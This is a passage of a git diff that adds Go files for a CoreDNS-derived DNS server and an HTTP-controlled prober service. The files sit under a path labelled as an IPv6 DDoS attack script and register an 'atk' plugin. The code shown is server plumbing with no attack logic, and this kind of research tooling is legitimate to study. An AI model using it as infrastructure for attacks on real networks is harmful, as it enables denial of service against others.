s.m.Unlock()
|
||||
|
||||
if s.tlsConfig != nil {
|
||||
l = tls.NewListener(l, s.tlsConfig)
|
||||
}
|
||||
return s.httpsServer.Serve(l)
|
||||
}
|
||||
|
||||
// ServePacket implements caddy.UDPServer interface.
|
||||
func (s *ServerHTTPS) ServePacket(p net.PacketConn) error { return nil }
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (s *ServerHTTPS) Listen() (net.Listener, error) {
|
||||
l, err := reuseport.Listen("tcp", s.Addr[len(transport.HTTPS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (s *ServerHTTPS) ListenPacket() (net.PacketConn, error) { return nil, nil }
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (s *ServerHTTPS) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones(transport.HTTPS+"://", s.Addr, s.zones)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
// Stop stops the server. It blocks until the server is totally stopped.
|
||||
func (s *ServerHTTPS) Stop() error {
|
||||
s.m.Lock()
|
||||
defer s.m.Unlock()
|
||||
if s.httpsServer != nil {
|
||||
s.httpsServer.Shutdown(context.Background())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin
|
||||
// chain, converts it back and write it to the client.
|
||||
func (s *ServerHTTPS) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.validRequest(r) {
|
||||
http.Error(w, "", http.StatusNotFound)
|
||||
s.countResponse(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
msg, err := doh.RequestToMsg(r)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
s.countResponse(http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Create a DoHWriter with the correct addresses in it.
|
||||
h, p, _ := net.SplitHostPort(r.RemoteAddr)
|
||||
port, _ := strconv.Atoi(p)
|
||||
dw := &DoHWriter{
|
||||
laddr: s.listenAddr,
|
||||
raddr: &net.TCPAddr{IP: net.ParseIP(h), Port: port},
|
||||
request: r,
|
||||
}
|
||||
|
||||
// We just call the normal chain handler - all error handling is done there.
|
||||
// We should expect a packet to be returned that we can send to the client.
|
||||
ctx := context.WithValue(context.Background(), Key{}, s.Server)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
ctx = context.WithValue(ctx, HTTPRequestKey{}, r)
|
||||
s.ServeDNS(ctx, dw, msg)
|
||||
|
||||
// See section 4.2.1 of RFC 8484.
|
||||
// We are using code 500 to indicate an unexpected situation when the chain
|
||||
// handler has not provided any response message.
|
||||
if dw.Msg == nil {
|
||||
http.Error(w, "No response", http.StatusInternalServerError)
|
||||
s.countResponse(http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
buf, _ := dw.Msg.Pack()
|
||||
|
||||
mt, _ := response.Typify(dw.Msg, time.Now().UTC())
|
||||
age := dnsutil.MinimalTTL(dw.Msg, mt)
|
||||
|
||||
w.Header().Set("Content-Type", doh.MimeType)
|
||||
w.Header().Set("Cache-Control", fmt.Sprintf("max-age=%f", age.Seconds()))
|
||||
w.Header().Set("Content-Length", strconv.Itoa(len(buf)))
|
||||
w.WriteHeader(http.StatusOK)
|
||||
s.countResponse(http.StatusOK)
|
||||
|
||||
w.Write(buf)
|
||||
}
|
||||
|
||||
func (s *ServerHTTPS) countResponse(status int) {
|
||||
vars.HTTPSResponsesCount.WithLabelValues(s.Addr, strconv.Itoa(status)).Inc()
|
||||
}
|
||||
|
||||
// Shutdown stops the server (non gracefully).
|
||||
func (s *ServerHTTPS) Shutdown() error {
|
||||
if s.httpsServer != nil {
|
||||
s.httpsServer.Shutdown(context.Background())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
102
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/server_tls.go
Normal file
102
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/server_tls.go
Normal file
@@ -0,0 +1,102 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// ServerTLS represents an instance of a TLS-over-DNS-server.
|
||||
type ServerTLS struct {
|
||||
*Server
|
||||
tlsConfig *tls.Config
|
||||
}
|
||||
|
||||
// NewServerTLS returns a new CoreDNS TLS server and compiles all plugin in to it.
|
||||
func NewServerTLS(addr string, group []*Config) (*ServerTLS, error) {
|
||||
s, err := NewServer(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// The *tls* plugin must make sure that multiple conflicting
|
||||
// TLS configuration returns an error: it can only be specified once.
|
||||
var tlsConfig *tls.Config
|
||||
for _, z := range s.zones {
|
||||
for _, conf := range z {
|
||||
// Should we error if some configs *don't* have TLS?
|
||||
tlsConfig = conf.TLSConfig
|
||||
}
|
||||
}
|
||||
|
||||
return &ServerTLS{Server: s, tlsConfig: tlsConfig}, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &Server{}
|
||||
|
||||
// Serve implements caddy.TCPServer interface.
|
||||
func (s *ServerTLS) Serve(l net.Listener) error {
|
||||
s.m.Lock()
|
||||
|
||||
if s.tlsConfig != nil {
|
||||
l = tls.NewListener(l, s.tlsConfig)
|
||||
}
|
||||
|
||||
// Only fill out the TCP server for this one.
|
||||
s.server[tcp] = &dns.Server{Listener: l,
|
||||
Net: "tcp-tls",
|
||||
MaxTCPQueries: tlsMaxQueries,
|
||||
ReadTimeout: s.readTimeout,
|
||||
WriteTimeout: s.writeTimeout,
|
||||
IdleTimeout: func() time.Duration {
|
||||
return s.idleTimeout
|
||||
},
|
||||
Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
|
||||
ctx := context.WithValue(context.Background(), Key{}, s.Server)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
s.ServeDNS(ctx, w, r)
|
||||
})}
|
||||
|
||||
s.m.Unlock()
|
||||
|
||||
return s.server[tcp].ActivateAndServe()
|
||||
}
|
||||
|
||||
// ServePacket implements caddy.UDPServer interface.
|
||||
func (s *ServerTLS) ServePacket(p net.PacketConn) error { return nil }
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (s *ServerTLS) Listen() (net.Listener, error) {
|
||||
l, err := reuseport.Listen("tcp", s.Addr[len(transport.TLS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (s *ServerTLS) ListenPacket() (net.PacketConn, error) { return nil, nil }
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (s *ServerTLS) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones(transport.TLS+"://", s.Addr, s.zones)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
tlsMaxQueries = -1
|
||||
)
|
||||
19
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/view.go
Normal file
19
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/view.go
Normal file
@@ -0,0 +1,19 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
)
|
||||
|
||||
// Viewer - If Viewer is implemented by a plugin in a server block, its Filter()
|
||||
// is added to the server block's filter functions when starting the server. When a running server
|
||||
// serves a DNS request, it will route the request to the first Config (server block) that passes
|
||||
// all its filter functions.
|
||||
type Viewer interface {
|
||||
// Filter returns true if the server should use the server block in which the implementing plugin resides, and the
|
||||
// name of the view for metrics logging.
|
||||
Filter(ctx context.Context, req *request.Request) bool
|
||||
|
||||
// ViewName returns the name of the view
|
||||
ViewName() string
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
// generated by plugin_gen.go; DO NOT EDIT
|
||||
|
||||
package dnsserver
|
||||
|
||||
// Directives are registered in the order they should be
|
||||
// executed.
|
||||
//
|
||||
// Ordering is VERY important. Every plugin will
|
||||
// feel the effects of all other plugin below
|
||||
// (after) them during a request, but they must not
|
||||
// care what plugin above them are doing.
|
||||
var Directives = []string{
|
||||
"log",
|
||||
"dnstap",
|
||||
"debug",
|
||||
"prometheus",
|
||||
"forward",
|
||||
"metadata",
|
||||
"whoami",
|
||||
"atk",
|
||||
}
|
||||
17
att script/3_v6_DDoS/code/辅助权威服务器/core/plug/zplugin.go
Normal file
17
att script/3_v6_DDoS/code/辅助权威服务器/core/plug/zplugin.go
Normal file
@@ -0,0 +1,17 @@
|
||||
// generated by plugin_gen.go; DO NOT EDIT
|
||||
|
||||
package plugin
|
||||
|
||||
import (
|
||||
// Include all plugins.
|
||||
_ "ohmydns2/plugin/atk"
|
||||
_ "ohmydns2/plugin/debug"
|
||||
_ "ohmydns2/plugin/dnstap"
|
||||
_ "ohmydns2/plugin/forward"
|
||||
_ "ohmydns2/plugin/log"
|
||||
_ "ohmydns2/plugin/metadata"
|
||||
_ "ohmydns2/plugin/prober/probe53"
|
||||
_ "ohmydns2/plugin/prober/qname"
|
||||
_ "ohmydns2/plugin/prometheus"
|
||||
_ "ohmydns2/plugin/whoami"
|
||||
)
|
||||
85
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/address.go
Normal file
85
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/address.go
Normal file
@@ -0,0 +1,85 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type addr struct {
|
||||
Port string
|
||||
Transport string // HTTP
|
||||
Address string // used for bound addr - validation of overlapping
|
||||
}
|
||||
|
||||
// String returns the string representation of addr.
|
||||
func (a addr) String() string {
|
||||
s := "探测服务: " + a.Transport + "://" + ":" + a.Port
|
||||
if a.Address != "" {
|
||||
s += " on " + a.Address
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts.
|
||||
func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) {
|
||||
parts := strings.Split(address, "://")
|
||||
switch len(parts) {
|
||||
case 1:
|
||||
ip, port, err := net.SplitHostPort(parts[0])
|
||||
return "", ip, port, err
|
||||
case 2:
|
||||
ip, port, err := net.SplitHostPort(parts[1])
|
||||
return parts[0], ip, port, err
|
||||
default:
|
||||
return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address)
|
||||
}
|
||||
}
|
||||
|
||||
type zoneOverlap struct {
|
||||
registeredAddr map[addr]addr // each zoneAddr is registered once by its key
|
||||
unboundOverlap map[addr]addr // the "no bind" equiv Addr is registered by its original key
|
||||
}
|
||||
|
||||
func newOverlapZone() *zoneOverlap {
|
||||
return &zoneOverlap{registeredAddr: make(map[addr]addr), unboundOverlap: make(map[addr]addr)}
|
||||
}
|
||||
|
||||
// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered
|
||||
// we consider that an unbound address is overlapping all bound addresses for same zone, same port
|
||||
func (zo *zoneOverlap) registerAndCheck(a addr) (existingZone *addr, overlappingZone *addr) {
|
||||
existingZone, overlappingZone = zo.check(a)
|
||||
if existingZone != nil || overlappingZone != nil {
|
||||
return existingZone, overlappingZone
|
||||
}
|
||||
// there is no overlap, keep the current zoneAddr for future checks
|
||||
zo.registeredAddr[a] = a
|
||||
zo.unboundOverlap[a.unbound()] = a
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// check validates a zoneAddr for overlap without registering it
|
||||
func (zo *zoneOverlap) check(a addr) (existingAddr *addr, overlappingAddr *addr) {
|
||||
if exist, ok := zo.registeredAddr[a]; ok {
|
||||
// exact same zone already registered
|
||||
return &exist, nil
|
||||
}
|
||||
uz := a.unbound()
|
||||
if already, ok := zo.unboundOverlap[uz]; ok {
|
||||
if a.Address == "" {
|
||||
// current is not bound to an address, but there is already another zone with a bind address registered
|
||||
return nil, &already
|
||||
}
|
||||
if _, ok := zo.registeredAddr[uz]; ok {
|
||||
// current zone is bound to an address, but there is already an overlapping zone+port with no bind address
|
||||
return nil, &uz
|
||||
}
|
||||
}
|
||||
// there is no overlap
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// unbound returns an unbound version of the zoneAddr
|
||||
func (a addr) unbound() addr {
|
||||
return addr{Address: "", Port: a.Port, Transport: a.Transport}
|
||||
}
|
||||
54
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/onstartup.go
Normal file
54
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/onstartup.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"ohmydns2/plugin/pkg/dnsutil"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not.
|
||||
// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax
|
||||
func checkZoneSyntax(zone string) bool {
|
||||
if zone == "." || dnsutil.IsReverse(zone) != 0 {
|
||||
return true
|
||||
}
|
||||
regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone)
|
||||
return regex1035PreferredSyntax
|
||||
}
|
||||
|
||||
// startUpZones creates the text that we show when starting up:
|
||||
// grpc://example.com.:1055
|
||||
// example.com.:1053 on 127.0.0.1
|
||||
func startUpZones(protocol, addr string) string {
|
||||
s := ""
|
||||
|
||||
//keys := make([]string, len(zones))
|
||||
//i := 0
|
||||
//
|
||||
//for k := range zones {
|
||||
// keys[i] = k
|
||||
// i++
|
||||
//}
|
||||
//sort.Strings(keys)
|
||||
//
|
||||
//for _, zone := range keys {
|
||||
//if strings.HasPrefix(protocol, "prober") {
|
||||
// s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath)
|
||||
// continue
|
||||
//}
|
||||
// split addr into protocol, IP and Port
|
||||
_, ip, port, err := SplitProtocolHostPort(addr)
|
||||
|
||||
if err != nil {
|
||||
// this should not happen, but we need to take care of it anyway
|
||||
s += fmt.Sprintln(protocol + ":" + addr)
|
||||
}
|
||||
if ip == "" {
|
||||
s += fmt.Sprintln(protocol + ":" + port)
|
||||
}
|
||||
// if the server is listening on a specific address let's make it visible in the log,
|
||||
// so one can differentiate between all active listeners
|
||||
s += fmt.Sprintln(protocol + ":" + port + " on " + ip)
|
||||
//}
|
||||
return s
|
||||
}
|
||||
15
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/pdirectives.go
Normal file
15
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/pdirectives.go
Normal file
@@ -0,0 +1,15 @@
|
||||
// generated by plugin_gen.go; DO NOT EDIT
|
||||
|
||||
package prober
|
||||
|
||||
// Directives are registered in the order they should be
|
||||
// executed.
|
||||
//
|
||||
// Ordering is VERY important. Every plugin will
|
||||
// feel the effects of all other plugin below
|
||||
// (after) them during a request, but they must not
|
||||
// care what plugin above them are doing.
|
||||
var Directives = []string{
|
||||
"qname",
|
||||
"probe53",
|
||||
}
|
||||
10
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/prober_args.go
Normal file
10
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/prober_args.go
Normal file
@@ -0,0 +1,10 @@
|
||||
package prober
|
||||
|
||||
const (
|
||||
globalRange = "globe"
|
||||
goroutinePoolSize = 3000
|
||||
)
|
||||
|
||||
const (
|
||||
rangeParam = "prange"
|
||||
)
|
||||
285
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/prober_http.go
Normal file
285
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/prober_http.go
Normal file
@@ -0,0 +1,285 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
stdlog "log"
|
||||
"net"
|
||||
"net/http"
|
||||
"ohmydns2/core/dnsserver"
|
||||
ohttp "ohmydns2/plugin/pkg/http"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/prober"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"ohmydns2/plugin/prometheus/vars"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
type ProberWriter struct {
|
||||
laddr net.Addr
|
||||
raddr net.Addr
|
||||
request http.Request
|
||||
}
|
||||
|
||||
type ProberHTTP struct {
|
||||
*ProbeServer
|
||||
httpServer *http.Server
|
||||
listenAddr net.Addr
|
||||
validRequest func(*http.Request) bool
|
||||
m sync.Mutex
|
||||
}
|
||||
|
||||
type proberstate struct {
|
||||
Code int `json:"code"`
|
||||
Probernum int `json:"probernum"`
|
||||
M map[int]prober.Prober `json:"proberlist"`
|
||||
Msg string `json:"msg"`
|
||||
}
|
||||
|
||||
type codeAndMsg struct {
|
||||
Code int `json:"code"`
|
||||
Msg string `json:"msg"`
|
||||
}
|
||||
|
||||
// loggerAdapter is a simple adapter around CoreDNS logger made to implement io.Writer in order to log errors from HTTP server
|
||||
type loggerAdapter struct {
|
||||
}
|
||||
|
||||
func (l *loggerAdapter) Write(p []byte) (n int, err error) {
|
||||
olog.Debug(string(p))
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH)
|
||||
type HTTPRequestKey struct{}
|
||||
|
||||
// NewProberHTTP returns a new ohmydns prober(可用HTTP调用参数) and compiles all plugins in to it.
|
||||
func NewProberHTTP(addr string, conf *prober.PBConfig) (*ProberHTTP, error) {
|
||||
s, err := NewServer(addr, conf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 定义一个检查器来检查访问路径是否正确.
|
||||
var validator func(*http.Request) bool
|
||||
validator = conf.HTTPRequestValidateFunc
|
||||
|
||||
if validator == nil {
|
||||
validator = func(r *http.Request) bool { return r.URL.Path == proberPath }
|
||||
}
|
||||
|
||||
srv := &http.Server{
|
||||
ReadTimeout: s.readTimeout,
|
||||
WriteTimeout: s.writeTimeout,
|
||||
IdleTimeout: s.idleTimeout,
|
||||
ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
|
||||
}
|
||||
|
||||
sh := &ProberHTTP{
|
||||
ProbeServer: s, httpServer: srv, validRequest: validator,
|
||||
}
|
||||
sh.httpServer.Handler = sh
|
||||
|
||||
return sh, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &dnsserver.Server{}
|
||||
|
||||
// Serve implements caddy.TCPServer interface.
|
||||
func (p *ProberHTTP) Serve(l net.Listener) error {
|
||||
p.m.Lock()
|
||||
p.listenAddr = l.Addr()
|
||||
p.m.Unlock()
|
||||
|
||||
return p.httpServer.Serve(l)
|
||||
}
|
||||
|
||||
// ServePacket implements caddy.UDPServer interface.
|
||||
func (p *ProberHTTP) ServePacket(net.PacketConn) error { return nil }
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (p *ProberHTTP) Listen() (net.Listener, error) {
|
||||
l, err := reuseport.Listen("tcp", p.Addr[len(transport.PROBER+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (p *ProberHTTP) ListenPacket() (net.PacketConn, error) { return nil, nil }
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (p *ProberHTTP) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones(transport.PROBER+"://", p.Addr)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
// Stop stops the server. It blocks until the server is totally stopped.
|
||||
func (p *ProberHTTP) Stop() error {
|
||||
p.m.Lock()
|
||||
defer p.m.Unlock()
|
||||
if p.httpServer != nil {
|
||||
err := p.httpServer.Shutdown(context.Background())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin
|
||||
// chain, converts it back and write it to the client.
|
||||
func (p *ProberHTTP) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if !p.validRequest(r) {
|
||||
http.Error(w, "", http.StatusNotFound)
|
||||
p.countResponse(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
// 设置响应头部
|
||||
w.Header().Set("Content-Type", proberContenttype)
|
||||
|
||||
// 解析请求
|
||||
param, _ := ohttp.ParseRequest(r)
|
||||
// 参数定义
|
||||
// act: res代表获取当前所有Prober状态,new代表新建Prober
|
||||
// ptype: 探针类型,v64代表IPv4-IPv6关联发现的探针,默认v64
|
||||
// prange: 探测范围,默认全局,
|
||||
|
||||
// 检查参数
|
||||
if res, rc := prober.VaildArgs(param); rc != 0 {
|
||||
//发生错误
|
||||
w.WriteHeader(http.StatusBadRequest)
|
||||
p.countResponse(http.StatusBadRequest)
|
||||
rec := &proberstate{Code: http.StatusBadRequest, Msg: res}
|
||||
msg, _ := json.Marshal(rec)
|
||||
_, err := w.Write(msg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
// 参数没有问题,开始处理
|
||||
if v, ok := param["act"]; ok {
|
||||
switch v[0] {
|
||||
|
||||
case "new":
|
||||
ctx := context.WithValue(context.Background(), Key{}, p.ProbeServer)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
ctx = context.WithValue(ctx, HTTPRequestKey{}, r)
|
||||
serverr, rs := p.ServeProbe(ctx, w, r)
|
||||
// 服务发生错误
|
||||
if serverr != nil {
|
||||
//发生错误
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
p.countResponse(http.StatusInternalServerError)
|
||||
res := &codeAndMsg{Code: http.StatusInternalServerError, Msg: rs}
|
||||
msg, _ := json.Marshal(res)
|
||||
_, err := w.Write(msg)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
//一切正常
|
||||
w.WriteHeader(http.StatusOK)
|
||||
p.countResponse(http.StatusOK)
|
||||
rec := &codeAndMsg{Code: http.StatusOK, Msg: rs}
|
||||
msg, _ := json.Marshal(rec)
|
||||
_, err := w.Write(msg)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
|
||||
return
|
||||
}
|
||||
return
|
||||
|
||||
case "stop":
|
||||
if n, pok := param["pid"]; pok {
|
||||
id, _ := strconv.Atoi(n[0])
|
||||
err := p.proberlist.DeleteProberById(id)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// 成功删除
|
||||
w.WriteHeader(http.StatusOK)
|
||||
p.countResponse(http.StatusOK)
|
||||
rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止探测器" + strconv.Itoa(id)}
|
||||
msg, _ := json.Marshal(rec)
|
||||
_, err = w.Write(msg)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 无参数指定则停止所有探测任务
|
||||
for pid := range p.proberlist.Pl {
|
||||
err := p.proberlist.DeleteProberById(pid)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
w.WriteHeader(http.StatusOK)
|
||||
p.countResponse(http.StatusOK)
|
||||
rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止所有探测器"}
|
||||
msg, _ := json.Marshal(rec)
|
||||
_, err := w.Write(msg)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
|
||||
return
|
||||
}
|
||||
return
|
||||
default:
|
||||
//跳转到列举探测器状态
|
||||
break
|
||||
}
|
||||
}
|
||||
// 无act参数默认列举所有探测器当前状态
|
||||
allProber, m, err := p.proberlist.ListAllProber()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
rt := proberstate{
|
||||
Code: http.StatusOK,
|
||||
Probernum: allProber,
|
||||
M: m,
|
||||
}
|
||||
w.WriteHeader(http.StatusOK)
|
||||
p.countResponse(http.StatusOK)
|
||||
msg, _ := json.Marshal(rt)
|
||||
w.Write(msg)
|
||||
|
||||
}
|
||||
|
||||
func (p *ProberHTTP) countResponse(status int) {
|
||||
vars.HTTPSResponsesCount.WithLabelValues(p.Addr, strconv.Itoa(status)).Inc()
|
||||
}
|
||||
|
||||
// Shutdown stops the server (non gracefully).
|
||||
func (p *ProberHTTP) Shutdown() error {
|
||||
if p.httpServer != nil {
|
||||
p.httpServer.Shutdown(context.Background())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
const (
|
||||
proberContenttype = "application/json"
|
||||
proberPath = "/prober"
|
||||
proberurl = "localhost"
|
||||
)
|
||||
405
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/prober_serve.go
Normal file
405
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/prober_serve.go
Normal file
@@ -0,0 +1,405 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/coredns/caddy"
|
||||
ot "github.com/opentracing/opentracing-go"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"net"
|
||||
"net/http"
|
||||
"ohmydns2/plugin"
|
||||
ohttp "ohmydns2/plugin/pkg/http"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/prober"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/trace"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"ohmydns2/plugin/prometheus/vars"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ProbeServer represents an instance of a server, which serves
|
||||
// DNS requests at a particular address (host and port). A
|
||||
// server is capable of serving numerous zones on
|
||||
// the same address and the listener may be stopped for
|
||||
// graceful termination (POSIX only).
|
||||
type ProbeServer struct {
|
||||
Addr string // Address we listen on
|
||||
|
||||
server *http.Server // http服务
|
||||
m sync.Mutex // protects the servers
|
||||
|
||||
conf *prober.PBConfig // zones keyed by their port
|
||||
httpWg sync.WaitGroup // used to wait on outstanding connections
|
||||
graceTimeout time.Duration // the maximum duration of a graceful shutdown
|
||||
trace trace.Trace // the trace plugin for the server
|
||||
debug bool // disable recover()
|
||||
stacktrace bool // enable stacktrace in recover error log
|
||||
classChaos bool // allow non-INET class queries
|
||||
idleTimeout time.Duration // Idle timeout for TCP
|
||||
readTimeout time.Duration // Read timeout for TCP
|
||||
writeTimeout time.Duration // Write timeout for TCP
|
||||
|
||||
proberlist *prober.ProberAndGoroutList //探测器列表
|
||||
|
||||
tsigSecret map[string]string
|
||||
}
|
||||
|
||||
// response 是Prober控制响应的抽象
|
||||
type response struct {
|
||||
Code int `json:"code"`
|
||||
Msg string `json:"msg"`
|
||||
}
|
||||
|
||||
// NewServer returns a new OhmyDNS2 probe server and compiles all plugins in to it.
|
||||
func NewServer(addr string, conf *prober.PBConfig) (*ProbeServer, error) {
|
||||
s := &ProbeServer{
|
||||
Addr: addr,
|
||||
graceTimeout: 5 * time.Second,
|
||||
idleTimeout: 10 * time.Second,
|
||||
readTimeout: 3 * time.Second,
|
||||
writeTimeout: 5 * time.Second,
|
||||
tsigSecret: make(map[string]string),
|
||||
proberlist: &prober.ProberAndGoroutList{
|
||||
Pl: make(map[int]*prober.Prober),
|
||||
GRPool: new(ants.Pool),
|
||||
},
|
||||
}
|
||||
s.proberlist.GRPool, _ = ants.NewPool(goroutinePoolSize, ants.WithPreAlloc(true))
|
||||
olog.Infof("服务启动,监听地址: %v", addr)
|
||||
|
||||
// We have to bound our wg with one increment
|
||||
// to prevent a "race condition" that is hard-coded
|
||||
// into sync.WaitGroup.Wait() - basically, an add
|
||||
// with a positive delta must be guaranteed to
|
||||
// occur before Wait() is called on the wg.
|
||||
// In a way, this kind of acts as a safety barrier.
|
||||
s.httpWg.Add(1)
|
||||
|
||||
if conf.Debug {
|
||||
s.debug = true
|
||||
olog.D.Set()
|
||||
}
|
||||
s.stacktrace = conf.Stacktrace
|
||||
|
||||
// append the config to the zone's configs
|
||||
s.conf = conf
|
||||
|
||||
// set timeouts
|
||||
if conf.ReadTimeout != 0 {
|
||||
s.readTimeout = conf.ReadTimeout
|
||||
}
|
||||
if conf.WriteTimeout != 0 {
|
||||
s.writeTimeout = conf.WriteTimeout
|
||||
}
|
||||
if conf.IdleTimeout != 0 {
|
